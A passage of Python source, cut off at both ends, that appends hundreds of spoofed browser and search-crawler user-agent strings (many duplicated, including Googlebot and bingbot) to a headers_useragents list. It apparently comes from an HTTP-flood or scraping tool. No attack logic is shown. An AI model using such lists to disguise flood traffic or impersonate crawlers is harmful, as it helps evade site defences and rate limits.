headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET 